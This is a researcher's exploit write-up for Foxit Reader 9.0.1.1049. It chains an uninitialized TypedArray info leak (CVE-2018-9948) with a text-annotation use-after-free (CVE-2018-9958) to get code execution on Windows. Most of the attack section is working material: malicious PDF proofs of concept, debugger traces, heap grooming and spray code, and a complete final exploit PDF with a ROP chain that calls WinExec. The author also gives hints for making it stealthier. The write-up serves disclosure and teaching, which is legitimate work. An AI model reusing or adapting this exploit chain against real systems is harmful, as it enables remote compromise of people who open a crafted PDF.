description | After discovering over 100 vulnerabilities in Foxit Reader, I figured it was about time I shared a full exploit chain that defeats ASLR and DEP. The first vulnerability is an uninitialized buffer that I found independently and was later killed by bit from meepwn. I leveraged this for an information leak to defeat ASLR. The second vulnerability is a use-after-free that I found, killed and leveraged for remote code execution. ### TL;DR I walk through exploiting a two different bugs chained together to achieve reliable code execution on a Windows 7 x86 desktop against Foxit Reader 9.0.1.1049. ### Introduction Foxit Reader and PhantomPDF Reader are marketed as… ``` …Fast, Affordable & Secure PDF Solutions ``` However, as Adobe is aware, PDF parsing is a complex task and quite often error prone. Many vulnerabilities have been found inside of clientside PDF parsers and the fact that they need to support JavaScript creates an additional attack surface and greatly facilitates exploitation. ### Foxit Reader Typed Array Uninitialized Pointer Information Disclosure Vulnerability This vulnerability was assigned CVE-2018-9948 and published as ZDI-18-332 by the ZDI. It was discovered by myself and bit from meepwn, however bit beat me too it reporting it to the ZDI. That, unfortunately, is how it rolls sometimes. Let’s take a look at some poc code. A minimised poc can be see below that will trigger the vulnerability: ``` %PDF 1 0 obj <</Pages 1 0 R /OpenAction 2 0 R>> 2 0 obj <</S /JavaScript /JS ( var int32View = new Int32Array(0x6c); app.alert(util.printf("Uninitialized: 0x%04x", int32View[0])); )>> trailer <</Root 1 0 R>> ``` After enabling page heap, we can see we can read back the (in)famous 0xc0c0c0c0 magic marker of where uninitialized data is. ![](https://images.seebug.org/1530254994302-w331s) There are a couple of things to note about this vulnerability. The first thing is that this vulnerability cannot be discovered via traditional fuzzing, since the application will never crash. I built a windbg plugin to help detect these types of vulnerabilities called bridgit. Bridgit is a JavaScript bridge plugin for Foxit Reader that helps facilitate with vulnerability discovery and exploitation. The other thing to note that all the TypedArray’s are vulnerable with a single allocation (just like the advisory states). We can confirm this by using bridgit. ``` 0:022> !py bridgit -o find_ub -s 0x6c Bridgit - JavaScript Bridge for Foxit Reader mr_me 2018 (+) setting up __CIatan_pentium4 bp (+) setting up __CIasin_pentium4 bp Breakpoint 0 hit (+) DEBUG ATAN: (+) enabling heap hook Breakpoint 2 hit (+) enabling heap alloc bp Breakpoint 3 hit Breakpoint 2 hit Breakpoint 3 hit Breakpoint 3 hit Breakpoint 3 hit Breakpoint 3 hit Breakpoint 3 hit Breakpoint 3 hit Breakpoint 3 hit Breakpoint 3 hit Breakpoint 3 hit Breakpoint 1 hit (+) DEBUG ASIN: (+) disabling heap hook Breakpoint 4 hit (+) disabling heap alloc bp (6b4.a60): Break instruction exception - code 80000003 (first chance) (+) found uninitialized chunk: 0x100bef90 address 100bef90 found in _DPH_HEAP_ROOT @ 6aa1000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) 111136b4: 100bef90 6c - 100be000 2000 718e8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229 772461fe ntdll!RtlDebugAllocateHeap+0x00000030 7720a0d3 ntdll!RtlpAllocateHeap+0x000000c4 771d58e0 ntdll!RtlAllocateHeap+0x0000023a 028cee12 FoxitReader!CertFreeCertificateChain+0x013a2a32 0117810c FoxitReader+0x0034810c 024d122a FoxitReader!CertFreeCertificateChain+0x00fa4e4a 024d146e FoxitReader!CertFreeCertificateChain+0x00fa508e 024e7943 FoxitReader!CertFreeCertificateChain+0x00fbb563 100bef90 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 100befa0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 100befb0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 100befc0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 100befd0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 100befe0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 100beff0 c0c0c0c0 c0c0c0c0 c0c0c0c0 d0d0d0d0 100bf000 ???????? ???????? ???????? ???????? (+) done! ``` After trying different TypedArray’s we can see that Int32Array and Float32Array are allocated from exactly the same positions, that is in FoxitReader!CertFreeCertificateChain+0x013a2a32. It’s always good to confirm exactly what was patched! ### Exploitation An uninitialized TypedArray is a very powerful primitive, because we can specify the size of the buffer, thus, we can clobber almost any other buffer that we can allocate and free. For those that are unaware, typical exploitation of an uninitialized buffer can usually be achieved by allocating an object of n size and then freeing that buffer before triggering the uninitialized buffer allocation. Where n is the size of the uninitialized buffer (in our case, basically any size). After some analysis, I found the perfect candidate and as it turns out, you can allocate an annotation object of size 0x5c, which, when freed is rounded to 0x60. ``` // allocates the annotation var a = this.addAnnot({type: "Text"}); // free's the annotation a.destroy(); ``` Now, we can combine this to leak the vtable of the text annotation. ``` %PDF 1 0 obj <</Pages 1 0 R /OpenAction 2 0 R>> 2 0 obj <</S /JavaScript /JS ( // allocates the annotation var a = this.addAnnot({type: "Text"}); // free's the annotation a.destroy(); // allocate the freed chunk var test = new ArrayBuffer(0x60); var int32View = new Int32Array(test); // mask off the lower word var leaked = int32View[0] & 0xffff0000; // calculate an offset for version FoxitReader 9.0.1.1049 var foxit_base = leaked - 0x01f50000; app.alert(util.printf("FoxitReader base address: 0x%08x", foxit_base)); )>> trailer <</Root 1 0 R>> ``` After turning off page heap and firing the poc, we can see that we are leaking the base address of FoxitReader.exe: ![](https://images.seebug.org/1530255047263-w331s) ### Foxit Reader Text Annotations point Use-After-Free Remote Code Execution Vulnerability This vulnerability was assigned CVE-2018-9958 and published as ZDI-18-342 by the ZDI. It was discovered by yours trully. Let’s take a look at some poc code. A minimised poc can be see below that will trigger the vulnerability: ``` %PDF 1 0 obj <</Pages 1 0 R /OpenAction 2 0 R>> 2 0 obj <</S /JavaScript /JS ( // create an annotation var a = this.addAnnot({type:"Text", page: 0, name:"uaf"}); // create an array with an element var arr = [1]; // make sure we can access the Document object var that = this; // setup the getter callback on element 0 Object.defineProperties(arr,{ "0":{ get: function () { // free the annotation that.getAnnot(0, "uaf").destroy(); return 1; } } }); // trigger uaf a.point = arr; )>> trailer <</Root 1 0 R>> ``` So when setting the point property of a text annotation that is created dynamically and we can trigger a JavaScript callback via a getter call on the first element in an array. In this getter, we can see that we destroy the created annotation, whilst setting a property on that annotation. This triggers the use-after-free and after running it with page heap enabled, we get the following crash: ``` (31c.f70): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=1911bfa0 ebx=00000000 ecx=1911bfa0 edx=18b08001 esi=193aaff8 edi=1845ffc8 eip=008ecfb9 esp=03b7e814 ebp=03b7e82c iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210206 FoxitReader!CertFreeCertificateChain+0x150bd9: 008ecfb9 8b01 mov eax,dword ptr [ecx] ds:0023:1911bfa0=???????? 0:000> u . L4 FoxitReader!CertFreeCertificateChain+0x150bd9: 008ecfb9 8b01 mov eax,dword ptr [ecx] 008ecfbb 8b5008 mov edx,dword ptr [eax+8] 008ecfbe 56 push esi 008ecfbf ffd2 call edx ``` This is classic use-after-free with no CFG protection vtable call, so all we really need to do it control the allocation. We already know that we can disclose memory locations. ### Exploitation We can disable page heap and set a breakpoint at the crash location to find the size of the freed object. ``` 0:018> bp FoxitReader!CertFreeCertificateChain+0x150bd9 0:018> g Breakpoint 0 hit eax=075619a8 ebx=00000000 ecx=075619a8 edx=37c08001 esi=076d87f8 edi=076d8de8 eip=014bcfb9 esp=0026e284 ebp=0026e29c iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206 FoxitReader!CertFreeCertificateChain+0x150bd9: 014bcfb9 8b01 mov eax,dword ptr [ecx] ds:0023:075619a8=02bc0147 0:000> !heap -p -a @ecx address 075619a8 found in _HEAP @ 6c0000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 075619a0 000d 0000 [00] 075619a8 00060 - (free) ``` We can see that the object is of size 0x60 and we can use a TypedArray to take control just after the free. ``` %PDF 1 0 obj <</Pages 1 0 R /OpenAction 2 0 R>> 2 0 obj <</S /JavaScript /JS ( function reclaim(){ var arr = new Array(0x10); for (var i = 0; i < arr.length; i++) { arr[i] = new ArrayBuffer(0x60); var rop = new Int32Array(arr[i]); for (var j = 0; j < rop.length; j++) { rop[j] = 0x41414141; } } } // create an annotation var a = this.addAnnot({type:"Text", page: 0, name:"uaf"}); // create an array with an element var arr = [1]; // make sure we can access the Document object var that = this; // setup the getter callback on element 0 Object.defineProperties(arr,{ "0":{ get: function () { // free the annotation that.getAnnot(0, "uaf").destroy(); // reclaim the freed object reclaim(); return 1; } } }); // trigger uaf a.point = arr; )>> trailer <</Root 1 0 R>> ``` Just after the destroy() we call reclaim() which will allocate 0x10 TypedArray’s of size 0x60. We do an iteration of 0x10 just to be extra sure we catch the freed object before its re-use. After re-running the updated poc, sure enough, we replaced the freed object and have execution control. ``` (df8.16b4): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=41414141 ebx=00000000 ecx=073419a8 edx=24508001 esi=074a8068 edi=074a4270 eip=014bcfbb esp=0012e3cc ebp=0012e3e4 iopl=0 nv up ei pl nz ac pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210216 FoxitReader!CertFreeCertificateChain+0x150bdb: 014bcfbb 8b5008 mov edx,dword ptr [eax+8] ds:0023:41414149=???????? 0:000> dd @ecx 073419a8 41414141 41414141 41414141 41414141 073419b8 41414141 41414141 41414141 41414141 073419c8 41414141 41414141 41414141 41414141 073419d8 41414141 41414141 41414141 41414141 073419e8 41414141 41414141 41414141 41414141 073419f8 41414141 41414141 41414141 41414141 07341a08 58c64fcb 8c000000 00000001 00000026 07341a18 00000027 003a005a 0072005c 00730065 ``` At this point (get it, point?) there was a few different ways we could chain the vulnerabilities. What we need to do now is get some data we control into memory at a known address. Traditionally, this is with a heap spray and a predictable address that we can spray at. However, after pondering a little more it occured to me that we can avoid a heap spray entirely. What I had to do was leak a heap chunk pointer from the text annotation which was (ab)used for the uninitialized TypedArray. Then, reclaim that memory with a TypeArray, setting its contents to a stack pivot and setting the reclaimed object’s fake vtable to this leaked address, thus avoiding a heap spray. Surprisingly, this worked with 100% success rate. You can download the full exploit here. At the time, this was tested to work on both Windows 7 and 10. Of course, I also developed an additional poc with a heap spray just incase the heap chunk leak would fail. This one only works on Windows 7 though. ### poc-with-a-heap-spray-99-percent.pdf ``` %PDF 1 0 obj <</Pages 1 0 R /OpenAction 2 0 R>> 2 0 obj <</S /JavaScript /JS ( var heap_ptr = 0; var foxit_base = 0; function heap_spray(size){ var arr = new Array(size); for (var i = 0; i < arr.length; i++) { // re-claim and stack pivot arr[i] = new ArrayBuffer(0x10000-0x8); var claimed = new Int32Array(arr[i]); for (var j = 0; j < claimed.length; j++) { // stack pivot from FoxitReader.exe v9.0.1.1049 (sha1: a01a5bde0699abda8294d73544a1ec6b4115fa68) claimed[j] = foxit_base + 0x01a7ee23; // push ecx; pop esp; pop ebp; ret 4 } } } function leak(){ /* Foxit Reader Typed Array Uninitialized Pointer Information Disclosure Vulnerability ZDI-CAN-5380 / ZDI-18-332 / CVE-2018-9948 Found By: bit from meepwn team */ // alloc var a = this.addAnnot({type: "Text"}); // free a.destroy(); // reclaim var test = new ArrayBuffer(0x60); var stolen = new Int32Array(test); // leak the vftable var leaked = stolen[0] & 0xffff0000; // a hard coded offset to FoxitReader.exe base v9.0.1.1049 (sha1: a01a5bde0699abda8294d73544a1ec6b4115fa68) foxit_base = leaked-0x01f50000; } function reclaim(){ /* This function reclaims the freed chunk, so we can get rce and I do it a few times for reliability. All gadgets are from FoxitReader.exe v9.0.1.1049 (sha1: a01a5bde0699abda8294d73544a1ec6b4115fa68) */ var arr = new Array(0x10); for (var i = 0; i < arr.length; i++) { arr[i] = new ArrayBuffer(0x60); var rop = new Int32Array(arr[i]); rop[0x00] = 0x11000048; // pointer to our stack pivot from the heap spray rop[0x01] = foxit_base + 0x01a11d09; // xor ebx,ebx; or [eax],eax; ret rop[0x02] = 0x72727272; // junk rop[0x03] = foxit_base + 0x00001450 // pop ebp; ret rop[0x04] = 0xffffffff; // ret of WinExec rop[0x05] = foxit_base + 0x0069a802; // pop eax; ret rop[0x06] = foxit_base + 0x01f2257c; // IAT WinExec rop[0x07] = foxit_base + 0x0000c6c0; // mov eax,[eax]; ret rop[0x08] = foxit_base + 0x00049d4e; // xchg esi,eax; ret rop[0x09] = foxit_base + 0x00025cd6; // pop edi; ret rop[0x0a] = foxit_base + 0x0041c6ca; // ret rop[0x0b] = foxit_base + 0x000254fc; // pushad; ret rop[0x0c] = 0x636c6163; // calc rop[0x0d] = 0x00000000; // adios, amigo for (var j = 0x0e; j < rop.length; j++) { rop[j] = 0x71727374; } } } function trigger_uaf(){ /* Foxit Reader Text Annotations point Use-After-Free Remote Code Execution Vulnerability ZDI-CAN-5620 / ZDI-18-342 / CVE-2018-9958 Found By: Steven Seeley (mr_me) of Source Incite */ var that = this; var a = this.addAnnot({type:"Text", page: 0, name:"uaf"}); var arr = [1]; Object.defineProperties(arr,{ "0":{ get: function () { // free that.getAnnot(0, "uaf").destroy(); // reclaim freed memory reclaim(); return 1; } } }); a.point = arr; } leak(); heap_spray(0x800); trigger_uaf(); )>> trailer <</Root 1 0 R>> ``` The final exploit just uses a WinExec call and doesn’t bother to modify memory, since many third party malware protection tools look for memory modification techniques I was lazy. I did see a LoadLibraryW in FoxitReader’s IAT, hint hint. I didn’t bother with continue of execution (CoE) since I don’t work for an offense company anymore but all you would need to do is save the registers before the chain, return back to the stack after WinExec and restore the registers again, including the stack. FoxitReader.exe is 55MB in size, so finding ROP gadgets is a piece of cake for all of this. Anyway, on to the show! [video](https://vimeo.com/276758492) ### Timeline * 2018-03-01 – Verified and sent to the ZDI * 2018-03-24 – Vulnerability acquired * 2018-03-30 – Vendor disclosure * 2018-04-20 – Patched and disclosed ### Conclusion Foxit Reader still has relatively little protections against memory corruption vulnerabilities. The developers rely heavily on operating system mitigations. When you have a JavaScript attack surface, you best believe that operating system mitigations are not enough, application level mitigations such as CFG, isolated heap and a decent sandbox would have significantly impacted me in the development of this exploit. TypeArray's are simply too powerful againt most software products and facilitated immensely in the final exploit. They were used for the information disclosure (both .data and .text addresses), the heap spray and the object replacement. |